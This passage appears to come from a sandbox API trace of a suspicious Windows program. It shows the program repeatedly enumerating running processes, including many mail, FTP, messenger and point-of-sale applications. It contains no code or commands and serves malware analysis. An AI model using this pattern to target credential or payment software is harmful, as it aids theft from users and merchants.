th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0267.275] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0267.278] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0267.281] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0267.284] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0267.287] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0267.290] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0267.293] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0267.296] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0267.298] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0267.301] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0267.304] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0267.308] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0267.311] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0267.315] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0267.318] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0267.322] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0267.325] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0267.328] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0267.365] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0267.368] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0267.371] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0267.374] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0267.377] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0267.380] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0267.382] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0267.385] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0267.387] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0267.390] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0267.393] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0267.395] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0267.398] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.401] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0267.403] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0267.405] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0267.407] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0267.410] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0267.412] CloseHandle (hObject=0x2200) returned 1 [0267.412] Sleep (dwMilliseconds=0x64) [0267.415] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0267.430] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.434] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0267.436] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.439] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.441] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0267.444] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.446] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0267.448] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0267.451] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0267.454] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.456] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.459] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.461] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.464] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.466] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.469] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.471] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.520] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.523] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.525] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.528] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0267.530] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.532] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.534] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0267.537] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0267.540] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0267.544] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0267.547] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0267.550] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0267.551] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0267.553] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.554] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.556] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0267.558] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.559] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.561] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0267.563] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0267.564] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0267.566] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0267.568] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0267.570] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0267.572] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0267.573] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0267.575] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0267.576] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0267.578] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0267.580] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, 